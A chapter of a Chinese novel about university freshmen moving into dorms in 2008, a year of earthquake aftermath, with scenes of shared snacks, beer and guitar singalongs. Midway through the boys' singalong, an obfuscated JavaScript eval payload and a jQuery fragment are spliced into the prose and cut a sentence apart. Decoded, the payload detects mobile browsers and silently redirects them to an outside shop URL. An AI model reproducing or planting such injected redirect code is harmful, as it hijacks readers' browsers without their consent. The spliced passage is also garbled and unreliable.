第一章 南风秋至，震后开学
二〇〇八年九月十一日，南风市在一夜雨水后醒来。天空被洗成近乎透明的蓝，空气里浮着潮湿的泥土气与草木沤烂后的清苦。这座经历过"五·一二"地震的城市，街巷深处还零星可见防震棚的蓝白条纹塑料布，在风里一鼓一瘪。但开学季终究来了，空气里漾着某种说不清的、新生的蠢动。
八路公交车从南溪发车，车窗半开，风灌进来，把前排一个女孩鬓角的碎发吹得乱飞。后排，三个年轻人靠窗坐着，脸几乎贴在玻璃上，看这座陌生城市从眼前掠过。
公交车驶过南溪大道，BRT站台的灯箱还贴着奥运海报，但边角已经卷起——刘翔低头绑鞋带的侧影被撕去小半张脸，露出底下“海飞丝去屑”的旧广告。新换的海报只覆盖了三分之二，剩下一截“北京2008”的烫金字，在晨光里泛着疲软的光。
前方商业大厦的玻璃幕墙上，姚明代言的某运动饮料巨幅照片还没撤，但旁边已经覆上一层新的女装广告，半透明的纱质图层从冠军肩头垂下来，像一匹布盖住了当年的汗水和呐喊。照片右下角，喷绘被雨水泡出褶皱，姚明举着饮料瓶的手臂皱成一团波浪，远远看去，像是他在挥手告别。
"桑水寺到了，请依次从后门下车。"
顺着公交车播报望去，一座寺庙的轮廓浮在远处山腰上。灰瓦在午后泛着柔光，飞檐层层叠叠，掩映于绿树间。
"哇！"海晴的惊叹里带着毫不掩饰的兴奋，"好大的寺庙！"
中间的欢也歪着脑袋往窗外探："以后有机会，一起去看看。"
顾北收回目光，手指无意识地摩挲着录取通知书的折角："我小时候，家附近也有座小庙。"他顿了顿，"我妈是信佛的，初一十五都要去上香。有一回我跟邻居家小孩不懂事，偷吃了观音像前的供果——三颗苹果，一人一个，蹲在香炉后面啃得满脸汁水。一把糖，分着吃了，糖纸没舍得丢。"
欢和海晴同时转过头来。
"后来呢？"海晴问。
"回家炫耀糖纸，被我妈三问两问就暴露了。我妈气得拿扫帚追了我两根田埂。"顾北嘴角微微翘起，"第二天一早，她拉着我去庙里，让我跪在蒲团上给观音菩萨磕了三个头，又从家里拿了六个苹果和一袋糖补上，双倍奉还。守寺庙的师父说道，“小孩子没关系。”然后又说到什么“不忌不忌，百无禁忌”之类的话。我一个字没听懂，但那个香火味——到现在都记得。"
他低下头，看着通知书上"南风大学"四个字："从那以后，每次路过寺庙，我都会进去作个揖。也不求什么，就是觉得……那个地方很安静，好像走进去，人就踏实了。"
欢看了他一眼，没再追问。公交车拐过一个弯，桑水寺的轮廓被山体遮去一半，又很快重新浮现在视野里。顾北望着那座灰瓦飞檐的庙宇，忽然想：等安顿好了，也许该去看看。
下午一点出头，八路车在南风大学南门停下。
校门口，南风大学四个字深深镌刻在门牌石上，沉稳的石材基座搭配金属立体字，主体为手写体古铜色大字，字体遒劲有力；下方嵌着圆形标准校徽，内圈上弧是同款中文校名，下弧环绕英文全称“SouthWind University”,校徽中的橙黄龙形图案，在阳光下辨识度极高，让整个校门显得低调而庄重。
三人拖着行李箱缓缓走进校门。映入眼帘的是一片修剪整齐的绿植，中间环绕着一座雕塑，
主干道两侧的梧桐高大得出奇，树冠在空中相接，形成一条天然林荫隧道。阳光从叶隙洒落，在地上洒满细碎的金点子，风一吹就晃。
道上人来人往。拖着行李箱的新生，拿通知书四处张望的家长，举着各院系牌子的志愿者，还有骑着自行车从人群中穿过的学长。
顾北从口袋里摸出入学指南："报名处在老区灯光球场，沿梧桐大道直走，过西华楼右转。"
“应该就在前面，不远了。”快走吧，顾北说道。
欢和海晴跟在身后。海晴的行李箱轮子卡进地砖缝里，她用力一拽才拔出来。
正走着，一个穿橘色广告衫的姑娘迎面走来，笑容爽朗："新生吧？哪个学院的，我带你们过去。"
学姐一边领路一边热络地问学院，指给他们看宿舍方位。走着走着话锋一转："手机卡还用着老家的吧？我移动的校园卡，接听免费，长途一毛九，不算漫游，超划算，办一张？"
三人对视一眼。顾北说："留个电话，先报完名安顿了再找你。"
学姐爽快地把号码写在广告纸背面递过来，抬手一指："灯光球场就是那儿了。从梧桐大道往下走，绕过西华楼就到了。"
几人按照学姐说的路线来到灯光球场。这是一个由几片标准篮球场临时划为报到处，在一圈橘红色的移动帐篷下，20个学院的报名处依次排开。每个学院面前都排着或短或长的队伍。
顾北三人分头去寻找自己的报名处。
外国语学院在球场的西南角，顾北站在队伍里，抬头看了看不远处，西华楼古朴的飞檐在初秋的阳光下静静伫立，带着时代印记的红砖几乎被满壁的爬山虎覆盖，很有岁月的质感。
轮到他时，他递上录取通知书和身份证。工作人员核对完抬起头："顾北，外国语学院英语专业，零八级三班，学号4512，宿舍北三108。"
顾北接过牛皮纸档案袋。北三108。他默念这个编号，手指在封口处摩挲了一下。这一刻，他脑海里闪现的是早上离开家时的场景，那些语言里的嘱托和目光中的期盼交织在他心里。
他知道，这一步走出来，以后的路都要靠自己去走了。
办完手续，三人分头找宿舍。顾北和欢的宿舍都在北三，海晴的宿舍在北二，与北三隔着一个圆形花坛。"安顿好了联系！"海晴朝两人挥挥手，拖着浅粉色行李箱朝北二走去。顾北和欢对视一眼，各自拎起行李向北三宿舍楼走去。
来到108门前，宿舍门虚掩着，里面传出陌生人的说话声，带着天南地北的口音。顾北站在门口，忽然想起临行前姐姐的话：“大学宿舍，就是你离开家以后的第一个家。家的门，是要自己推开的”。顾北推开门，阳光正好从窗户斜斜照进来，落在空气中缓缓旋转的微尘上。
四张上下床靠墙排列，中间是两排衣柜。中央长桌上铺着一张过期的《南风都市报》，一部座机卧在旁边，机身蒙了薄灰。
顾北是最后一个到的。宿舍里，五个少年各自忙碌着。
顾北一边收着行李箱的推杆，一边给大家打招呼。“你们好，我是顾北，英语三班的。”，说话间，神情有一丝不易察觉的腼腆。
最先迎上来的是个国字脸戴眼镜的男生，眉毛浓得像两道墨痕，嗓门洪亮："兄弟，你好，我叫小明，S省来的！"他伸手接过顾北的行李箱，力道很足，箱子被稳稳拎到了床边。
靠窗上铺探出一个乱蓬蓬的脑袋："你好！海洋，T市人。说完缩回去，双手快速的按着手机按键。
靠门下铺一个穿潮牌的男生正倚着床栏打电话，语气懒散："哎呀妈你莫管咯，我自己晓得安排。"见顾北进来，他扬了扬下巴算打招呼，挂了电话走过来，递了根烟："来一根？"顾北摆手，他把烟往耳朵上一夹，咧嘴一笑："刚子，南风本地人。以后有啥事找哥，南风地界哥门清。"
宿舍最安静的角落，靠窗下铺，一个白白净净的男生正用软布擦一串念珠，木头珠子被盘得油润发亮。见顾北看过来，他抬眼温和一笑："辉，C市来的。"说完又低头擦念珠，动作很轻。
最后一个人靠窗，背对着门坐着，阳光从他身侧勾勒出一道安静的轮廓。忽然一阵清冽的吉他扫弦声响起来——他随手拨了几个和弦，音色干净得像泉水。
那男生转过身来。怀里抱着一把褪了色的木吉他，琴身几处磕碰，边缘漆面磨得发白，露出底下浅色木纹，但琴弦明显是刚换过的。他抬起头，眼神里带着点疏离的温和，嘴角微微扬起："涛，叫我阿涛就行，G省来的。"
"你这《七里香》弹得真好。"顾北说。
涛抬起头，目光在顾北脸上停了一瞬："你也喜欢周杰伦？"
"喜欢，最喜欢《爱在西元前》和《以父之名》。"
涛眼睛亮了一下。他没说话，垂下眼随手拨了两个音——正是《以父之名》中间那段弗拉门戈的吉他间奏，指法干净利落。顾北笑了，涛也笑了。他把吉他小心靠回床边，起身朝顾北伸出手："欢迎。"
顾北握住他的手，感觉到指腹上那层薄茧的硬度。
随后，顾北开始收拾行李整理床铺。
几个来自天南海北的青年有一搭没一搭的聊着。
"你们那边都有些什么特产？"刚子突然问到。
“有有有”小明第一个搭话。
一边说，一边弯腰从行李箱里翻出一个鼓鼓囊囊的蓝底碎花布口袋："尝尝俺们S省的大煎饼！我妈天不亮就起来烙的。"
海洋立刻从上铺跳下来："是不是跟煎饼果子一个味儿"
小明撕下一张薄得几乎透光的煎饼，抹上甜面酱，放上大葱，卷成卷递过去。海洋咬了一大口，嚼了两下，脸瞬间皱成一团："这玩意儿也太硬了吧！我这牙差点交代在这儿！"
"你懂啥！越嚼越香，粮食的甜味才出来。"小明一脸捍卫家乡尊严的郑重。
刚子笑得直拍床板，掰下一小块放进嘴里嚼了嚼，眼睛一亮："哎，还真挺香！"辉接过一小块，先凑到鼻尖闻了闻，才小小咬了一口："后味有回甘。"涛也接了一小块，嚼了两下没说话，只微微挑了挑眉："嗯，配茶应该不错。"
众人一阵哄笑。海洋从床底下翻出一个铁盒子往桌上一顿："果仁张，麻辣花生！"红油和花椒的香气立刻蹿出来。花生盒子在众人手里传了一圈，刚子抓了一大把嚼得嘎嘣响："这玩意儿下啤酒绝了！"涛只拿了两颗慢慢剥皮；小明一边嚼花生一边继续推销煎饼："配着吃，真的，绝配。"
不过半天功夫，六个人便熟络起来。刚子已经开始给小明科普南风哪家干锅最好吃；海洋趴在桌上用手机给家里发短信，屏幕是诺基亚经典的蓝光；涛把吉他靠回床边，拿出耳机听起了歌。顾北坐在自己床沿上，看着这一切。窗外的香樟树在风里沙沙响，阳光从叶片间漏进来，在床单上投下晃动的影子。
傍晚时分，顾北的手机响了。银灰色滑盖，屏幕亮起幽蓝的光，闪烁着"欢"的名字。
"北，我在603，你那边安顿好了没？"
"108，一楼东头。下来找我还是我上去？"
"我下来吧，海晴也一起。"
挂了电话不到五分钟，敲门声响起——三下，间隔两秒。欢推门进来，穿着白色运动T恤和深蓝色运动裤，头发还带着湿气。身后跟着海晴，淡粉色短袖衬衫，领口系着小蝴蝶结，手里拎着一袋橘子。
"环境学院，欢。"他冲顾北的舍友们点点头。
"计算机学院，海晴！"海晴笑着把橘子放在桌上，"楼下水果摊买的，可甜了，我尝了一个才买的。"
顾北把两位高中同学介绍给舍友。刚子热情招呼，小明又从煎饼袋里撕了两张递过去。正聊着，顾北想起什么，从口袋里掏出下午学姐留的纸条晃了晃："那个学姐的卡，你们还办不办？"
海晴一拍脑袋："哎呀，差点忘了！我奶奶还等我打电话回去呢。"
三人循着号码拨过去。学姐很快出现在北三楼下，怀里抱着一沓号码单，站在路灯底下，影子拉得长长的。"我就知道你们会来！"她笑得爽朗，"来来来，自己挑号码，尾号带6的贵十块。"
海晴选了个尾号带6的，欢随便挑了一个。顾北盯着号码单看了很久——密密麻麻的数字印在粉红色纸上，有的被笔画圈过，有的打了勾。最后他指了一个："这个吧。"
学姐凑过来看了一眼："5912？这号有什么特别的？"
"没有，"顾北说，"就是顺眼。"
学姐帮他们换好卡，又叮嘱了几句充值的事，语速极快，说完挥挥手走了，橘色广告衫在暮色里一晃，很快消失在梧桐树影里。
三人站在北三楼下，各自拨通了家里的电话。
顾北握着手机，听着听筒里的"嘟——嘟——"声。四百多公里的距离在这一刻变得异常具体。电话接通了，父亲的声音带着电流杂音传来："顾北哦，到了嘛？"
"爸，到了。宿舍挺好，六个人。我办了个新号，你记一下。"
母亲在旁边念叨："一天吃饭要舍得吃，该用钱就用，把各人顾好。"
"我晓得了。"挂了电话，他抬头看天。南风市的黄昏来得慢，天边还剩最后一抹橘红，像被人用毛笔拖了一道淡彩。欢和海晴也陆续打完电话。海晴眼圈微红，却笑着说："我奶奶比我还啰嗦。"欢挠挠头："我爸就说了三句话：到了？钱够？好好学习。"
三人相视而笑。路过小操场时，从女生宿舍窗口飘来一阵歌声，是梁静茹的《给未来的自己》。"我要握住一个最美的梦，给未来的自己"，旋律在暮色里飘散。海晴忽然问："你们说，咱们四年后，会是什么样？"
欢想了想："毕业，工作，或者考研呗。"
顾北没答话。他看着远处亮起的灯火，星星点点的，像散落在地上的碎星。
"不知道，"他最终说，"但应该挺好的。"
海晴点点头，在北二楼下停住脚："那我上去了，明天见！"
顾北和欢往回走。夜色彻底落下来，北三楼的窗户亮起零星的灯光，有人在走廊里喊谁的名字，回声在楼道里荡来荡去。刚子从后面追上来，手里拎着一个红色塑料袋，里面装着几瓶啤酒。看见顾北，他扬了扬袋子："正想找你们呢！走，回宿舍，今晚咱108第一次喝酒！"
欢摆摆手："寝室还有点事，今天就不去了，下次。"说完转身朝北三楼梯口走去。顾北跟着刚子走进108。门一推开，海洋立刻从上铺探出脑袋："哟呵，刚子请客？"
"请请请。"刚子把袋子往桌上一顿，掏出六瓶啤酒。用牙咬开瓶盖——牙一磕就开，盖子弹出去在地上滚了两圈。挨个递过去时啤酒沫溢出来沾在手上，他随意甩了甩。海洋跳下床，打开花生袋往桌上倒出一堆。麻辣香气弥散开来，和煎饼残留的焦香混在一起。六只酒瓶碰在一起，发出清脆的响声，啤酒沫溅出几滴落在桌上，洇开深色的小圆点。
几口酒下肚，话匣子便打开了。
小明嚼着花生，嘴麻得不利索："你们是不知道，俺们S省高考有多卷！高中三年，早上五点半起床，晚上十一点半睡觉，一天三顿都在教室吃。班主任说了，多刷一套题，多干掉一千个人。"
刚子晃着酒瓶，眼神有些飘："我也不知道自己是运气好还是不好。因为地震，延考区多学了一个月，分数线也低了点。我妈说，你这辈子就这回运气好。"他顿了顿，看着窗外漆黑的夜色，"可我宁愿不要这份运气——我初中最好的哥们，现在还埋在废墟里。"
宿舍安静了一瞬。小明手里的煎饼停在半空，海洋张了张嘴又闭上。
过了一会儿，刚子用本地话低声补了一句："龟儿子的地震，连句再见都没让老子说。"
没有人接话。刚子一挥手，仰头灌了一大口酒，酒液顺着嘴角流下来，他没擦。他把空瓶顿在桌上，"咚"一声响，然后捏起几颗花生狠狠嚼了几口。"这花生还挺香。"他说。海洋愣了一下，随即接话："那是，T市特产，能差吗？"
辉一直小口抿着酒。刚子注意到他，凑过去问："辉，你呢？高中咋过的？"
辉愣了一下，推了推眼镜："挺普通的，班里大神太多，我就是打酱油的。"他忽然坐直身子，双手抱拳，学着《武林外传》里吕秀才的表情，一本正经一字一顿："子曾经曰过，知之为知之，不知为不知，是知也。"
宿舍愣了一秒，随即爆发出大笑。"卧槽！"小明笑得直拍床板，"辉你可以啊！深藏不露！"刚子举着酒瓶笑得差点呛到，"来，敬秀才！"
"该我了该我了！"海洋主动举手，"我交代，我最尴尬的事——高中住校，衣服都用插卡洗衣机。一哥们让我帮他晾衣服，我手机上玩足球经理玩久了眼睛花，过去一看，洗衣机里啥也没有。我打电话给他说衣服被偷了。"
他说到这里停下来喝了一口酒。众人等着下文。
"然后呢？"小明忍不住问。
"然后哥们就回来了啊。"一脸蒙圈的表情看着我说道，就那几件破衣服还有人偷。
然后亲自去洗衣机看，衣服都在脱水桶里贴着啊。
衣服拿回来之后，对我说了两个字。“废物”。后来，大家都这么叫我了。
众人愣了一秒，随即爆发出更响的笑声。海洋自己也笑了，不好意思地挠挠头，耳朵根有点发红。
涛嘴角微微扬起，难得主动开口："我高中喜欢玩玩音乐。组过乐队。"
众人的目光瞬间聚焦过去。
"乐队？！"小明眼睛都亮了，"主唱？吉他手？"
"吉他，偶尔唱两句。
"卧槽，帅啊！"海洋一拍大腿，"阿涛必须正式来一个！"
"来一个！来一个！"大家跟着起哄。
涛笑了笑，放下酒瓶，从床边拿起那把褪了色的木吉他。低头调了调弦，指尖拨过琴弦试了几个音，才抬起头："随便唱一个，别嫌难听。"他的手指落在琴弦上，旋律缓缓流出——温柔的，开阔的，像一条蜿蜒的河流。Almost heaven, West Virginia / Blue Ridge Mountains, Shenandoah River……是《Country Road》。他的声音带着南方城市特有的柔软尾音，咬字轻轻的，却有一种说不出的笃定。
大家不自觉地安静下来。辉的手停在半空，刚子靠着床架眼睛微微眯着，海洋难得没有插科打诨，下巴搁在桌沿上静静听着。涛唱得很轻，没有炫技，没有煽情，就那么安安静静地唱着。
一首唱完，掌声和叫好声同时爆出来。"牛逼！"刚子举着酒瓶，"敬阿涛！"
就在这时，宿舍门被推开了。两个男生探头进来，瘦高的那个笑着问："你们宿舍这么热闹啊？三班的，叫冬冬。"另一个把耳机拔下来揣进兜里，笑了笑："哎呀，你们在唱歌耶，好有感觉哦。我也三班的，我叫知遥。"
刚子立刻站起来："来来来，快进来坐！"
知遥大大方方在床边坐下，撕了一小块煎饼，捏起几颗花生一起放进嘴里嚼了嚼："哎，这个搭配绝了！"
刚子扭头对涛说："有新同学来了，要不再整一个？带劲点儿的。"涛笑着问："你想听啥？"顾北忽然开口："来个《海阔天空》吧，我哥最喜欢这首。"涛看了他一眼，点点头，把变调夹往上移了一品。手指落在琴弦上，前奏响起——那几个音符一出来，宿舍里的空气好像忽然变了。
"今天我——"涛用标准的粤语唱出那三个字。声音不高，但每一个字都咬得清清楚楚。"迎着冷眼与嘲笑。"顾北跟着唱起来，声音起初有点紧，但唱着唱着就放开了。然后是刚子，然后是辉，然后是知遥和冬冬，最后连小明也张了嘴。只有海洋跟不上调，只见他张着嘴，唱的却是——"钢铁锅，含眼泪喊修瓢锅……"没人笑他，因为大家都在唱。
原谅我这一生不羁放纵爱自由 / 也会怕有一天会跌倒
知遥跟着唱起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881393|212473||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，声音洪亮，调子居然还挺准。冬冬起初只是安静听着，唱到副歌时，知遥伸手揽过他的肩膀用力晃了晃，冬冬这才放开声音。歌声从108的窗户飘出去。对面宿舍有人探出脑袋听了一耳朵，也跟着唱起来。然后是楼上的，楼下的。歌声像会传染一样，一间一间传递，渐渐响彻了整个楼栋。没有人组织，没有人指挥。那些来自天南海北的、陌生的声音，在这个九月的夜晚，汇成一片。
顾北站在窗边，忽然想起一个词：共振。
他不知道此刻有多少人和他一样，心里有什么东西被这歌声震动了——那些关于未来的不安，关于过去的留恋，关于"我能不能在这里找到归属"的疑问，在这一刻，好像都有了答案。
那个夜晚，后来被很多人提起。在很多年后的同学聚会上，在酒过三巡之后的闲聊里，在某个深夜忽然想起大学的瞬间——总会有人说："还记得吗？开学第一天晚上，咱们全楼一起唱《海阔天空》。"
记得。怎么会不记得。
那是二〇〇八年九月十一日，震后开学的第一个夜晚。南风市的秋天刚刚开始，他们的大学也刚刚开始。
与北三宿舍的热闹不同，外国语学院女生宿舍楼里，正上演着另一场初见。
向南拖着浅粉色行李箱，沿着走廊数着门牌号，在三楼尽头停下来。走廊里弥漫着淡淡的消毒水味，混合着新床板的木香——她第一次闻到"集体宿舍"的味道。陌生，但并不讨厌。
门虚掩着，里面传出女孩子们的说笑声。向南忽然有些紧张。她想起妈妈送她上车时说的话："大学室友，是要陪你四年的姐妹。"她深吸一口气，推开了门。
暖黄的灯光落在五个姑娘身上。最先迎上来的是个嘴角带痣的姑娘，像只小兔子一样蹦到向南面前："你就是向南吧！我叫涵，M市来的！"她说话时手舞足蹈，披肩的长发被自己撩乱了都不知道。向南还没来得及回应，涵已经顺手接过她的行李箱往屋里拖。
涵身后，一个扎马尾、戴细框眼镜的姑娘正蹲在地上整理书柜，听到动静站起身来。她推了推眼镜，憨憨地笑着，指了指靠窗的下铺："我是皓丹。我给你留了这个位置，阳光特别好，你看。"向南顺着她手指的方向看去，床板被收拾得干干净净。"谢谢你，皓丹。""应该的！"皓丹摆摆手，声音软糯。
靠窗的位置，一个面容姣好的姑娘正对着镜子整理护肤品。听到动静，她转过身来，落落大方地笑了笑。她穿着一件剪裁合身的淡蓝色衬衫，锁骨处挂着一条细细的银链子，末端坠着一颗小米粒大小的水钻。"我是晓琪，S市来的。以后咱宿舍的颜值和穿搭，我包了！"她冲向南眨了眨眼，"向南你皮肤真好。"
窗边的另一张下铺，一个浓眉大眼的姑娘安静地坐着，膝盖上摊着一本书——三毛的《撒哈拉的故事》。听到脚步声，她抬起头，浅浅一笑："沐沐。"声音软软的，像棉花糖化在温水里。说完又低头继续翻书，手指轻轻抚过书页的一角。
最后一个人靠在床头，手里把玩着一根细长的女士薄荷烟——没有点燃。她没有起身，只是朝向南扬了扬下巴，嘴角噙着一丝若有若无的笑意："扯扯。"就两个字，干净利落。向南愣了一下。不是因为这名字奇怪——是她的眼神。那眼神不像其他姑娘那样好奇、热情或打量，而是淡淡的，像在看一个早就认识的人，又像什么都没看。她留着一头利落的短发，发尾染着几缕暗红色，眉眼间带着几分慵懒的凌厉。
涵凑到向南耳边压低声音："扯扯姐是C市来的，咱宿舍的大姐。你别看她这样，人可好了！昨晚我刚到的时候，她帮我搬行李，一口气上三楼，气都不带喘的！"
扯扯听见了，嗤笑一声，把手里那根烟随手扔进床头的铁盒里，发出"叮"的轻响。向南这才注意到，她床头摆着一个精致的金属烟盒，盒盖上刻着繁复的蔓草纹，旁边是一本《狼图腾》，书页翻得很旧了，书脊折痕处都泛了白。
扯扯终于坐直了身子，伸了个懒腰。她穿着一件黑色薄夹克，拉链没拉，露出里面的灰色T恤，领口微微泛白。"我就是比你们多混了两年社会，知道点儿人情世故。"她说得云淡风轻，眼神却从每个人脸上慢慢扫过，"以后遇到什么事儿，搞不定的，找我。"
向南看着眼前这个反差巨大的女生——皮夹克、暗红色发尾、没点燃的香烟、那句"多混了两年社会"——心里忽然涌起无数个问号。她看起来和自己差不多大，怎么就"多混了两年社会"？她从哪里来？她经历过什么？扯扯似乎看穿了向南的心思，却什么也没解释，只是懒洋洋地靠在床头，嘴角噙着那丝玩味的笑。
五个姑娘，五种模样。涵的灵动，皓丹的认真，晓琪的时尚，沐沐的纯净，还有扯扯的——向南想了半天，只想到一个词：江湖气。
"别站着发呆了，"扯扯忽然开口，目光依旧看着窗外，"先收拾东西，一会儿天黑了看不见。"向南这才回过神，赶紧把行李箱拖到床边。涵已经帮她拉开行李箱拉链，探头往里看："哇，向南你带了什么？好香啊，像是桂花味儿？""是桂花香包。"向南从行李箱侧面掏出两个小巧的香包，淡黄色绸布包着，用红线扎了口，"你们要是喜欢，我以后给你们做。"
收拾行李时，大家围在一起叽叽喳喳聊着天。沐沐细心地帮向南叠衣服，动作轻柔；皓丹帮着整理书桌，把课本按大小排列整齐；涵蹲在地上帮忙擦行李箱，一边擦一边出主意；晓琪热情地分享护肤品心得。而扯扯依旧靠在床头，手里不知什么时候多了一本杂志，漫不经心地翻着。可每当有人需要帮助时，她总会恰到好处地开口。
第一次，涵蹲在地上擦行李箱擦得起劲，完全没注意到已经蹲了快十分钟。扯扯头也没抬，翻过一页杂志，淡淡地说："涵，别蹲太久，一会儿腿麻。"涵愣了一下，乖乖站起来跺了跺脚："哎，还真是，你怎么知道？"扯扯没回答。第二次，晓琪正热情推荐护肤品，从洗漱包里掏出五六瓶挨个介绍。扯扯终于抬起头，看了一眼晓琪手里的爽肤水："你那瓶酒精含量高，向南皮肤敏感，别瞎推荐。"晓琪愣住了，低头看成分表，果然标注了酒精。"你怎么知道向南皮肤敏感？她刚来，自己都没说呢！"向南也愣住了。扯扯依旧靠在床头，声音淡淡的："她脸颊有轻微泛红，鼻翼两侧毛孔细，是典型的敏感肌特征。"
宿舍安静了一瞬。向南下意识抬手摸了摸自己的脸。她皮肤敏感这件事，只有她和妈妈知道。可这个人，只是看了一眼，就全看出来了。向南忍不住又看了扯扯一眼。扯扯依旧翻着杂志，神情淡淡的，可向南忽然觉得，那双看似漫不经心的眼睛，其实像摄像头一样，把一切都收在了眼底。
六个姑娘分工合作，空荡荡的床位很快变得温馨整洁。向南的桌面上摆好了她从家里带来的几本书、一盒彩色铅笔，还有一张高中时画的素描——学校操场边那排梧桐树，秋天的叶子半黄半绿。她想了想，把那张画用夹子夹在了书桌前。
"画得真好！"沐沐凑过来看，眼里满是羡慕，"我喜欢三毛，也喜欢画画的人。你知道三毛写过一句话吗？'如果有来生，要做一棵树，站成永恒。'"
向南看着她，觉得这个安静的姑娘心里好像也有一棵树。"以后咱们宿舍的墙，我可以给大家每人画一幅。"
"真的吗？那我要！"涵第一个举手，"我要画一只狐狸，古灵精怪那种！"
"我要向日葵！"皓丹认真地说，"向阳而生那种！"
"给我画时尚一点的封面女郎！"晓琪立刻接话。
沐沐想了想，软软地说："我想要月亮，温柔的月亮，旁边有几颗小星星。"
向南一一记在心里，然后看向扯扯。扯扯正站在窗边，看着窗外。夕阳的余晖落在她身上，给那头暗红色的发尾镀上一层金色的光。窗外是西区的老建筑群，远处西华楼的飞檐在暮色中静静伫立，剪影似的映在天边。
"扯扯姐，你呢？"向南问。
扯扯回过头，看了她一眼，沉默了几秒。那几秒里，她的眼神从向南脸上移到墙上那张梧桐树的画上，又移开，望向窗外更远的地方。"随便，"她淡淡地说，嘴角微微扬起，"你看着画。"
涵在旁边小声说："扯扯姐就这样，什么都随便，其实心里最有数。"向南点点头，没再多问。但她心里已经隐约有了画面——那应该是一只停在窗台上的鸟，羽毛是暗红色的，眼睛很亮。
傍晚时分，窗外的操场上传来新生们的欢笑声，远处北三宿舍的灯也一盏盏亮起来。向南站在窗边，看着对面男生宿舍楼里隐约晃动的人影。那些窗户里，有的亮着灯，有的暗着，有的传来隐约的歌声。她不知道，在那个叫北三108的地方，有六个少年也正在经历着相似的初见。
"向南，发什么呆呢？"涵从背后探过脑袋，顺着她的目光看向窗外，"看男生宿舍呢？"
"胡说什么！"向南脸一红，轻轻推了她一下。涵咯咯笑起来，挽住她的胳膊："走啊，去二食堂吃饭！听说那儿的冒菜特别好吃！"
六个姑娘说说笑笑地走出宿舍，走廊里回荡着清脆的笑声。涵走在最前面，蹦蹦跳跳的；皓丹和沐沐并排走着，小声说着什么；晓琪挽着向南，还在念叨护肤品；扯扯走在最后，不紧不慢，手插在皮夹克口袋里，嘴角噙着那丝谁也看不透的笑。
夜色渐浓，梧桐大道上亮起了路灯。北二和北三的灯火遥遥相对。向南站在窗边，忽然想起高中语文课上学过的一句诗："南风知我意，吹梦到西洲。"
她不知道西洲在哪里。但她知道，从今天起，南风就是她的西洲了。
二〇〇八年九月十一日，这个因地震而推迟的开学日，终于在南风大学的暮色中缓缓落下帷幕。而对于这群刚刚踏入大学校门的少年少女来说，他们的故事，才刚刚开始。